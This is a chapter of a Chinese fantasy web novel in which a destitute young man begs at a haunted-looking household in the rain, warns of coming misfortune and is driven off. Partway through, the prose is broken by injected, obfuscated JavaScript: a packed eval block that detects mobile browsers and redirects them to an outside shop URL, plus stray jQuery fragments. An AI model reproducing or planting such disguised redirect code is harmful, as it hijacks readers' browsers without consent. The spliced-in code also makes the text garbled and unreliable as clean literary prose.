4. 不详

作品:《道长,收收神通吧

    “叩叩叩——”


    赵虞正准备转身,大门却突兀地被敲响。


    声音分明不大,却透过细细密密的雨声,准确地传入他耳中。


    因着暴雨的缘故,这几日天比往常黑得更早些。赵府灯火通明,下人们来来回回,忙得不可开交,居然无一人听到敲门声。


    这么晚了,谁会来敲门?


    赵虞心中疑惑,却还是正了正神色,亲自上前。


    “吱嘎——”


    漆红色的木门被推开一条缝,赵虞顺着门缝往外看去,只见门外站着一个二十来岁的年轻人。


    屋檐下的灯笼被风吹得左右摇摆,连烛光也忽明忽暗,却并不妨碍赵虞看清年轻人的模样。


    来人披头散发,像是刚从泥浆里滚过一遭,衣衫也破烂不堪。若非那张还算俊俏的脸,以及和周围格格不入的气度,简直同路边的乞丐没什么区别。


    赵虞心中惊疑不定,却并未赶人离开,只客气道:“这位后生,你有什么事吗?”


    赵府新丧,又是阴雨连绵的天气,此人出现的时机的确算不上好。


    他年轻时也曾跟赵老太爷走南闯北,听过不少离奇之事。眼前的年轻人虽然看起来不似大奸大恶之辈,但脸色惨白,仿若将将回魂,在烛火下才勉强多了几分人色。


    叫他无端想起话本里的山魈精怪。


    年轻人,也就是张云俭,还不知自己的身份已经从乞丐变成了鬼怪。他冻得牙齿都在打颤,用尽全身力气才勉强维持平静。


    雨水顺着破烂的衣摆往下滴,衣物湿漉漉地贴在身上,风刮过便带起彻骨的寒意。


    他艰难倚在“拐杖”上,带下山的火把也因大雨熄灭,被他扔在了半路,浑身上下除了那套衣服,什么都不剩。


    说来也是他时运不济,昨夜下山本以为很快就能到县城中,谁知天将将亮,暴雨便倾盆而下,模糊了脚印。他只能依稀辨别哪些路行人较多,然后踩着前人的脚步前进。


    这么一绕,就走了整整一天。


    张云俭有心在路上寻找歇脚之处,但一路走来连个破庙都没有,他又腿脚不便,赵府已经是他遇到的第一户人家。


    总之闻者伤心听者落泪。


    寒冷和饥饿飞速侵蚀着他的理智,如果不是带了条拐杖,他早就昏昏沉沉瘫倒在地。


    见赵虞上下打量自己,张云俭勉强打起精神,开口时声音嘶哑:“这位老丈——”


    他顿了顿,组织了一下语言:“我名张云俭,路过贵府,能否讨口水喝?”


    说着,他飞快瞄了一眼赵虞身后,浓重的黑色雾气像是厚重的、絮在天上的云,铺天盖地往外涌,如果不是被门挡住,几乎要扑张云俭满脸。


    而身处雾中的赵虞身影被吞噬大半,摇曳的烛火不仅没有添上几分暖意,反多了些诡谲,看起来格外可怖。


    朱门上,一左一右两位门神的画像,在黑暗中闪着微光。


    总之,看起来不太妙。


    其实张云俭是拒绝敲门的——无关现代青年一朝沦为乞丐那微妙的羞耻心——任谁大老远就看到一座宅子上面库库冒黑气都会心里发怵吧!


    更别说他才刚见过判官!


    可张云俭实在饿得不行,如果不是还有几分理智,他几乎要抱着路边的树开始啃树皮。


    这种情况下,只是一座疑似闹鬼的房子,也没什么要紧了。


    他不着痕迹地观察着赵府的一切,赵虞也收回了打量的目光。


    虽然只是短短两句交流,但一个人身上的气势是骗不了人的。


    普通乞丐往往眼神飘忽,极少与人对视,脸上常挂着讨好的笑。眼前之人虽然也是一身破烂,望过来的目光却温和有礼,并不因为自己的身份低人一等……赵虞眼光毒辣,哪里看不出其中差异?


    眼下正是多事之秋,不管眼前之人是山魈鬼怪还是别有内情,都不宜节外生枝。


    想到这里,他神色柔和下来,竟多了几分慈祥:“后生,雨下得这样大,旁人只怕不会开门。府中正好备着酒菜,我叫人再给你拿两个馒头。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408490|200610||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    说罢,他转头朝身后高声道:“四儿!去打个水囊,再去后厨拿两个馒头来!”


    刚搬完东西的赵四正准备出府,被他这么一吩咐,脸上顿时多出几分不悦,却还是往后厨去了。


    不多时,便拿着个碗出来,两个精面馒头将粗陶碗塞得满满当当。


    赵虞接过来,同水囊一块儿递给张云俭:“拿着吧。主人家爱清静,咱们赵府在的地方已经算偏僻,想寻到下一户人家,怕是要再走半天。”


    张云俭点点头,伸手将两个馒头接过,却没有去碰碗:“多谢老丈!”


    馒头个头不小,似乎是刚蒸出来,落在手中有些烫,暖意顺着掌心传遍全身,叫他好受许多。


    张云俭隐晦地打量了一眼赵虞,对方看起来六十左右,两鬓斑白,脸上神色温和,没有寻常人看到乞丐的厌恶,只当眼前之人是个落难的普通人。


    他心中一动,又看了眼翻滚的黑雾,出声叫住了正要关门的赵虞:“老丈!”


    张云俭神色认真:“贵府最近有些不太平,恐怕有祸事发生,老丈还是请个道士来看看……”


    不等他说完,赵四不耐烦地推了他一把,张云俭一个趔趄,好悬没摔倒。


    纵使他反应快连忙稳住重心,整个人也重新跌入雨幕之中,手中的馒头瞬间被雨水打湿,热气蒸腾散去。


    “哪里来的臭乞丐!我们好心好意施舍你吃食,你竟然诅咒我们!真是个白眼狼!”


    “还不快滚!”


    随着赵四的呵斥,赵府中漫天黑雾也像是被激怒一样张牙舞爪朝张云俭扑来,似乎在怒骂他多管闲事。


    倒是赵虞脸色一如既往的和善:“多谢提醒。若是真出了什么事,我家老爷会报官的。”


    言外之意,就是不需要他多管闲事了。


    张云俭也知道自己这话得罪人,只是叹了口气,不再多说,转身冒着大雨,一瘸一拐离去了。


    赵四还在身后骂骂咧咧,被赵虞教训两句,忙撑着伞,去李府递消息了。